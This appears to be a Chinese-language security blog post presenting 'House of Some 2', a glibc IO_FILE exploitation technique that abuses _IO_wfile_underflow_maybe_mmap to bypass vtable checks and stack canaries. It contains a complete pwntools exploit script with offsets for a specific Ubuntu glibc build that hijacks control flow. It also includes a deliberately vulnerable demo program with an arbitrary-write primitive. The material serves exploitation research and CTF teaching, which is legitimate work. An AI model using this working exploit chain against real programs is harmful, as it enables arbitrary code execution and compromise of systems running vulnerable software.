House of Some 2是独立的一条IO_FILE利用链,主要关注的函数是_IO_wfile_jumps_maybe_mmap中的_IO_wfile_underflow_maybe_mmap

利用条件为

  1. 已知libc地址
  2. 可控地址(可写入fake file)
  3. 可控stdout指针或者_IO_2_1_stdout_结构体
  4. 程序具有printf或者puts输出函数

优点如下

  1. 与House of Some一样可以绕过目前的vtable检查
  2. printf和puts比较普遍,适用性广
  3. 可以在栈上劫持控制流,衔接House of Some,完成最后攻击

原理描述

前置知识

首先我们先关注_IO_wfile_underflow_maybe_mmap函数

1
2
3
4
5
6
7
8
9
10
11
wint_t
_IO_wfile_underflow_maybe_mmap (FILE *fp)
{
/* This is the first read attempt. Doing the underflow will choose mmap
or vanilla operations and then punt to the chosen underflow routine.
Then we can punt to ours. */
if (_IO_file_underflow_maybe_mmap (fp) == EOF)
return WEOF;

return _IO_WUNDERFLOW (fp);
}

这个函数最后调用了_wide_data内的虚表_IO_WUNDERFLOW

那么继续深入_IO_file_underflow_maybe_mmap函数

1
2
3
4
5
6
7
8
int
_IO_file_underflow_maybe_mmap (FILE *fp)
{
/* This is the first read attempt. Choose mmap or vanilla operations
and then punt to the chosen underflow routine. */
decide_maybe_mmap (fp);
return _IO_UNDERFLOW (fp);
}

这个函数最后调用了FILE的虚表_IO_UNDERFLOW

继续深入decide_maybe_mmap函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void
decide_maybe_mmap (FILE *fp)
{
/* We use the file in read-only mode. This could mean we can
mmap the file and use it without any copying. But not all
file descriptors are for mmap-able objects and on 32-bit
machines we don't want to map files which are too large since
this would require too much virtual memory. */
struct __stat64_t64 st;

if (_IO_SYSSTAT (fp, &st) == 0
&& S_ISREG (st.st_mode) && st.st_size != 0
/* Limit the file size to 1MB for 32-bit machines. */
&& (sizeof (ptrdiff_t) > 4 || st.st_size < 1*1024*1024)
/* Sanity check. */
&& (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size))
{
/* Try to map the file. */
void *p;
... 这里主要就是做了mmap
}

/* We couldn't use mmap, so revert to the vanilla file operations. */

if (fp->_mode <= 0)
_IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps;
else
_IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps;
fp->_wide_data->_wide_vtable = &_IO_wfile_jumps;
}

这个函数有一个关键的_IO_SYSSTAT调用,以及,在这个函数最后会恢复FILE和_wide_data的虚表

整理一下可以知道,如果一个FILE进入了函数_IO_wfile_underflow_maybe_mmap,那么他将会运行如下的流程

  1. _IO_SYSSTAT(fp, &st)调用虚表,传入栈指针
  2. decide_maybe_mmap函数结束,恢复两个虚表
  3. _IO_UNDERFLOW (fp)调用虚表
  4. _IO_WUNDERFLOW (fp)调用虚表

以及补充的条件

_IO_file_jumps虚表的_IO_UNDERFLOW函数中

1
2
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);

这一步,三个参数都可控,也就是可以写入任意地址

最后我们需要补充一下IO_jump_t结构体的全貌

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* offset      |    size */  type = struct _IO_jump_t {
/* 0x0000 | 0x0008 */ size_t __dummy;
/* 0x0008 | 0x0008 */ size_t __dummy2;
/* 0x0010 | 0x0008 */ _IO_finish_t __finish;
/* 0x0018 | 0x0008 */ _IO_overflow_t __overflow;
/* 0x0020 | 0x0008 */ _IO_underflow_t __underflow;
/* 0x0028 | 0x0008 */ _IO_underflow_t __uflow;
/* 0x0030 | 0x0008 */ _IO_pbackfail_t __pbackfail;
/* 0x0038 | 0x0008 */ _IO_xsputn_t __xsputn;
/* 0x0040 | 0x0008 */ _IO_xsgetn_t __xsgetn;
/* 0x0048 | 0x0008 */ _IO_seekoff_t __seekoff;
/* 0x0050 | 0x0008 */ _IO_seekpos_t __seekpos;
/* 0x0058 | 0x0008 */ _IO_setbuf_t __setbuf;
/* 0x0060 | 0x0008 */ _IO_sync_t __sync;
/* 0x0068 | 0x0008 */ _IO_doallocate_t __doallocate;
/* 0x0070 | 0x0008 */ _IO_read_t __read;
/* 0x0078 | 0x0008 */ _IO_write_t __write;
/* 0x0080 | 0x0008 */ _IO_seek_t __seek;
/* 0x0088 | 0x0008 */ _IO_close_t __close;
/* 0x0090 | 0x0008 */ _IO_stat_t __stat;
/* 0x0098 | 0x0008 */ _IO_showmanyc_t __showmanyc;
/* 0x00a0 | 0x0008 */ _IO_imbue_t __imbue;

/* total size (bytes): 168 */
}

第一次猜想

在printf和puts函数中,最后会调用stdout的__xsputn虚表的入口

如果我们使得__xsputn的偏移直接指向__underflow呢?

那么就会得到如下的偏移

1
2
__xsputn -> __underflow
__stat -> __write

此时,修改stdout的虚表为_IO_wfile_jumps_maybe_mmap-0x18

在上述调用过程中_IO_SYSSTAT(fp, &st)这个函数就会变成write(fp, &st, ??)

如果我们能够控制rdx就好了,这里就能做到栈数据泄露

rdx的控制

很遗憾,在上述函数过程中,并没有涉及rdx的操作(注: 以Ubuntu GLIBC 2.35-0ubuntu3.1为例,后文相同)

能够控制的也就只有后续调用的_IO_UNDERFLOW (fp)中的_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);可以控制,由于decide_maybe_mmap会强制恢复虚表,所以这里我们不用担心篡改虚表带来的影响

如果rdx不可控直接执行write(fp, &st, ??)会怎么样,返回0或者非0

那么回到decide_maybe_mmap

1
2
3
4
5
6
7
if (_IO_SYSSTAT (fp, &st) == 0
&& S_ISREG (st.st_mode) && st.st_size != 0
...
&& (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size))
{
...
}

这里判断,如果_IO_SYSSTAT (fp, &st)返回0,那么直接就不会进入if,如果返回不为0,我们看看S_ISREG的定义

1
2
#define	__S_ISTYPE(mode, mask)	(((mode) & __S_IFMT) == (mask))
#define S_ISREG(mode) __S_ISTYPE((mode), __S_IFREG)

不必关注详细的值,这里可以看到最后判断采用的是==判断,由于栈上数据的限制,这里通过判断的概率不高

以及还有st.st_size != 0判断,在没有正确执行stat逻辑,栈维持原貌的情况下,这个if通过概率不高

如果还高,可以控制fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size为假即可

那么就能顺利的执行完decide_maybe_mmap,并且保留伪造的fp内容没有任何变动

接下来就是调用_IO_file_jumps虚表的_IO_UNDERFLOW,操作执行read

这里,我们可以设置,注意fake_file_start就是我们当前控制的fp地址

1
2
_IO_buf_base = fake_file_start
_IO_buf_end = fake_file_start + 0x1c8 // 这里的1c8包括了widedata的长度

那么,这里我们就能再次重新复写fake,并扩大可控长度,widedata都可控了

回到上面执行流程,接下来就会执行_IO_WUNDERFLOW (fp)这个虚表函数了

然而,上述我们通过underflow重新控制了fp,也就是接下来的这个虚表函数,我们也是可控的

这里我们控制为

1
_IO_WUNDERFLOW(fp) -> _IO_wfile_underflow_maybe_mmap

回到起点

我们再次回到了起点,但是这次不一样了

在上一个小节,其实我们已经控制了rdx,因为_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);的第三个参数

1
rdx = fp->_IO_buf_end - fp->_IO_buf_base

此时,此时我们依然有这四个执行流程

  1. _IO_SYSSTAT(fp, &st)调用虚表,传入栈指针
  2. decide_maybe_mmap函数结束,恢复两个虚表
  3. _IO_UNDERFLOW (fp)调用虚表
  4. _IO_WUNDERFLOW (fp)调用虚表

不同的是,此时_IO_SYSSTAT(fp, &st)可以被指向任意的虚表函数,因为在第二次控制fp的时候,我们又一次覆写了FILE的vtable

那么此时我们就可以控制

1
_IO_SYSSTAT(fp, &st) -> _IO_new_file_read(fp, &st, rdx)

我们已经成功完成了栈溢出

还有高手?Canary

很不幸,decide_maybe_mmap函数开启了canary,我们没办法在没有泄露栈的情况下,完成栈溢出

由于fileno的设置,无法完成write(1,stack,rdx)的操作,真的没有办法的了吗

那么接下来,有请_IO_default_xsputn_IO_default_xsgetn

我们阅读这两个函数源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
size_t
_IO_default_xsgetn (FILE *fp, void *data, size_t n)
{
size_t more = n;
char *s = (char*) data;
for (;;)
{
/* Data available. */
if (fp->_IO_read_ptr < fp->_IO_read_end)
{
size_t count = fp->_IO_read_end - fp->_IO_read_ptr;
if (count > more)
count = more;
if (count > 20)
{
s = __mempcpy (s, fp->_IO_read_ptr, count);
fp->_IO_read_ptr += count;
}
else if (count)
{
char *p = fp->_IO_read_ptr;
int i = (int) count;
while (--i >= 0)
*s++ = *p++;
fp->_IO_read_ptr = p;
}
more -= count;
}
if (more == 0 || __underflow (fp) == EOF)
break;
}
return n - more;
}


size_t
_IO_default_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (char *) data;
size_t more = n;
if (more <= 0)
return 0;
for (;;)
{
/* Space available. */
if (f->_IO_write_ptr < f->_IO_write_end)
{
size_t count = f->_IO_write_end - f->_IO_write_ptr;
if (count > more)
count = more;
if (count > 20)
{
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
}
else if (count)
{
char *p = f->_IO_write_ptr;
ssize_t i;
for (i = count; --i >= 0; )
*p++ = *s++;
f->_IO_write_ptr = p;
}
more -= count;
}
if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
break;
more--;
}
return n - more;
}

可以知道,这是对于fp内的缓冲区的操作,可以关注到的是这里函数内有两个关键的部分

1
2
3
4
_IO_default_xsgetn (FILE *fp, void *data, size_t n) 
==> __mempcpy(data, fp->_IO_read_ptr, n);
_IO_default_xsputn (FILE *f, const void *data, size_t n)
==> __mempcpy (f->_IO_write_ptr, data, n);

如果能够保证

1
2
fp->_IO_read_end - fp->_IO_read_ptr == n
f->_IO_write_end - f->_IO_write_ptr == n

就不会进入__underflow_IO_OVERFLOW降低其他函数的干扰

这个时候就能衍生出一个大胆的想法,如果我们先将栈复制一份到可控的区域,再通过偏移写入,最后再拷贝回到栈内,那么我们就能完美的绕过canary并且,并不需要泄露canary

最后

又到了喜闻乐见的模板环节,Some1模板见https://github.com/CsomePro/Some-of-House

相关偏移为Ubuntu GLIBC 2.35-0ubuntu3.1版本glibc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

tob = lambda x: str(x).encode()
io = process("./demo")

io.recvuntil(b"[+] printf: ")
printf_addr = int(io.recvuntil(b"\n", drop=True), 16)
log.success(f"printf_addr: {printf_addr:#x}")

def add(size):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"size> ", tob(size))

def write(addr, size, content):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"size> ", tob(size))
io.sendlineafter(b"addr> ", tob(addr))
io.sendafter(b"content> ", content)

def leave():
io.sendlineafter(b"> ", b"3")

libc = ELF("./libc.so.6", checksec=False)
libc_base = printf_addr - libc.symbols["printf"]
libc.address = libc_base
log.success(f"libc_base: {libc_base:#x}")

_IO_wfile_jumps_maybe_mmap = libc.address + 0x215f40
log.success(f"_IO_wfile_jumps_maybe_mmap: {_IO_wfile_jumps_maybe_mmap:#}")
_IO_str_jumps = libc.address + 0x2166c0
log.success(f"_IO_str_jumps: {_IO_str_jumps:#}")
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

# 此处直接修改_IO_2_1_stdout_内容
write(libc.symbols["_IO_2_1_stdout_"], 0xe0, flat({
0x0: 0x8000, # disable lock
0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0x70: 0, # _fileno
0xa0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
0xc0: p32(0xffffffff), # _mode < 0
0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,
}, filler=b"\x00"))

# 拷贝栈上数据到可控地址,这里拷贝到_IO_2_1_stdout_的上方,方便下次写入顺便完成fp第三次控制
io.send(flat({
0x8: libc.symbols["_IO_2_1_stdout_"], # 需要可写地址

0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,
0xc0: p32(0xffffffff),

0xd8: _IO_default_xsputn - 0x90, # vtable
0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_write_ptr
0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end

0xe0: {
0xe0: _IO_wfile_jumps_maybe_mmap
}
}, filler=b"\x00"))

# 最后这里就可以劫持执行流到0xdeadbeaf了
io.send(flat({
0: 0xdeadbeaf, # retn
0x1c8-0xc8: {
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,
0xc0: p32(0xffffffff),

0xd8: _IO_default_xsgetn - 0x90, # vtable
0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_read_ptr
0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1c8 - 0xc8), # _IO_read_end

0xe0: {
0xe0: _IO_wfile_jumps_maybe_mmap
}
}
}, filler=b"\x00"))

io.interactive()

附录

demo程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// gcc demo.c -o demo
#include<stdio.h>

int main(){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
int c;
printf("[+] printf: %p\n", &printf);
while (1) {
puts(
"1. add heap.\n"
"2. write libc.\n"
"3. exit");
printf("> "
);
scanf("%d", &c);
if(c == 1) {
int size;
printf("size> ");
scanf("%d", &size);
char *p = malloc(size);
printf("[+] done %p\n", p);
printf("content> ");
read(0, p, size);
} else if(c == 2){
size_t addr, size;
printf("size> ");
scanf("%lld", &size);
printf("addr> ");
scanf("%lld", &addr);
printf("content> ");
read(0, (char*)addr, size);
} else {
break;
}
}
}

本文采用CC-BY-SA-4.0协议,转载请注明出处
作者: Csome
Hits